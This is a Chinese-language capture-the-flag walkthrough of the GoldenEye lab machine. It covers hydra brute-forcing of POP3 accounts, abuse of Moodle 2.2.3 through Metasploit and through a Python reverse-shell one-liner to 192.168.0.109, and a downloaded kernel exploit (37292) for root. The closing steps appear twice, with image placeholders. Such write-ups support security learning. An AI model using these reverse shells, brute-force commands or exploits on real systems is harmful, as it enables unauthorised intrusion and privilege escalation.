0X01 信息收集
首先进行主机探测,发现主机192.168.0.15,且开放25、80端口。
然后我们来访问一下80端口,发现线索:让我们进入到/sev-home/目录里进行登录。
然后我们访问后要求我们输入账号和密码,接下来就到了寻找密码的时刻了。
我们回到主页,查看页面源代码,发现一处js文件,terminal.js。
访问看一下,留意到其中的注释语句。
丢到百度翻译里进行翻译看看,看到其中出现了经过编码后的密码密文,以及提到了说Natalya可以破解该密文。
获得用户名:Boris、Natalya
获得密码密文:InvincibleHack3r
然后把密码密文丢到burpsuite里进行decode as html,成功获取明文密码。
此时已经获得的账号和密码:
账号:Boris、Natalya
密码:InvincibleHack3r
然后我们输入账号(boris)密码(InvincibleHack3r)成功登录跳转网站。
留意到右边的字,翻译一下,得到提示“我们已将 pop3 服务配置为在非常高的非默认端口上运行”,意味着我们要进行全端口的扫描。
扫描后发现多了两个端口,555006和55007,并查看版本信息。
接下来尝试利用爆破登录邮件服务。
echo -e 'natalya\nboris' > user.txt --将两个用户名写入txt文件
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.15 -s 55007 pop3
成功得到邮箱的账号密码。
账号/密码:
boris/secret1!
natalya/bird
然后通过NC登录pop3查看邮件信封内容枚举:
nc 192.168.0.15 55007 ---登录邮箱
user boris ---登录用户
pass secret1! ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
首先登录的是boris的邮箱账户,里面包含了三封邮件。
我们留意到第二封邮件是由natalya发来的,且内容为“Boris,我能破解你的密码”。第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
登录natalya的邮箱查看邮件内容
nc 192.168.0.15 55007 ---登录邮箱
user natalya ---登录用户
pass bird ---登录密码
list ---查看邮件数量
retr 1~2 ---查看邮件内容
两封邮件:第一封邮件:
娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。一旦学生被指定给你,我就会给你发电子邮件。此外,请注意可能的网络漏洞。我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。
第二封邮件:
好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子下输入它……它将使变更单升级,而不会带来太多麻烦:)
好的,用户信用是:
用户名:xenia
密码:RCP90rulez!
鲍里斯验证了她是一个有效的承包商,所以只需创建帐户,好吗?
如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
**请务必编辑您的主机文件,因为您通常在远程离线工作....
由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
在host文件中添加域名,并访问severnaya-station.com/gnocertdir。
一访问就可以直接看到是使用了moodle这个cms来建站。随意点击,发现跳转到登录页面。
利用刚刚在邮件中获取到的账号密码进行登录就可以成功登录。
在点击后台的过程中发现该CMS的版本为2.2.3。
在Messages模块当中发现一封邮件,出现新的名字“Dr Doak”,将其写人到user.txt文件中。
继续爆破用户名doak的邮箱登录密码。
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.0.15 -s 55007 pop3
获取用户名/密码:diak/goat
登录doak用户查看邮件内容
nc 192.168.0.15 55007 ---登录邮箱
user doak ---登录用户
pass goat ---登录密码
list ---查看邮件数量
retr 1 ---查看邮件内容
此时得到了新的账户信息,用户名:dr_doak,密码:4England!
成功登录之后发现右边多了一个模块,且有一个文件名为s3cret.txt。
查看文件里的内容,提示到“这里有一些有趣的东西:/dir007key/for-007.jpg”
访问看到是一张图片,把他保存到本地先。
wget http://severnaya-station.com/dir007key/for-007.jpg
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容!
在执行exiftool、strings命令时可以看到base64编码的隐藏信息:
eFdpbnRlcjE5OTV4IQ==
使用解密工具进行base64解密得到明文:
xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
0X02 GetShell
方法一:
因为该CMS的版本为2.2.3,通过在网上搜索发现可以利用CVE-2013-3630漏洞进行RCE攻击,这里我们直接利用MSF。
msfconsole
search moodle
use 0
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.0.109
run
use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!
执行之后发现无法成功。
查阅资料后知道MSF的底层代码使用的是pspellshell。这里的网页使用的是Googleshell,导致没有办法去运行。
进后台对其进行修改 Home /► Site administration / ►Plugins / ► Text editors / ►TinyMCE HTML editor
再次运行,成功!
然后将shell进行tty
python -c 'import pty; pty.spawn("/bin/bash")'
方法二:
用修改编辑器中拼写检查配置变量进行反弹shell
Settings/ ► Site administration / ► Server / ► System paths / ►Path to aspell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
同时监听本地6666端口:
然后前往Home / ► My profile / ► Blogs / ► Add a new entry进行触发
成功反弹!
0X03 内核提权
首先查看一下系统信息:
uname -a
内核版本Linux ubuntu 3.13.0-32,然后进搜索谷歌搜索:Linux ubuntu 3.13.0-32 exploit。获得exp版本:37292
搜索kali本地的exp库中37292攻击脚本信息,并复制出来。
searchsploit 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/
由于目标主机环境没有gcc环境,但有cc环境。
需要对脚本进行修改:
这时我们的kali主机开启HTTP服务让目标主机下载该脚本:
python -m http.server 8081
目标主机访问kali的8081端口并下载脚本:
wget http://192.168.0.109:8081/37292.c
编译脚本:
cc 37292.c -o 37292
直接运行脚本,成功提权!
最后成功获取flag:
python -m http.server 8081
[外链图片转存中…(img-Zw776EJ3-1661947579249)]
目标主机访问kali的8081端口并下载脚本:
wget http://192.168.0.109:8081/37292.c
[外链图片转存中…(img-6zyV4Qca-1661947579250)]
编译脚本:
cc 37292.c -o 37292
[外链图片转存中…(img-vEoTzefn-1661947579250)]
直接运行脚本,成功提权!
[外链图片转存中…(img-6w9zaqjT-1661947579250)]
最后成功获取flag: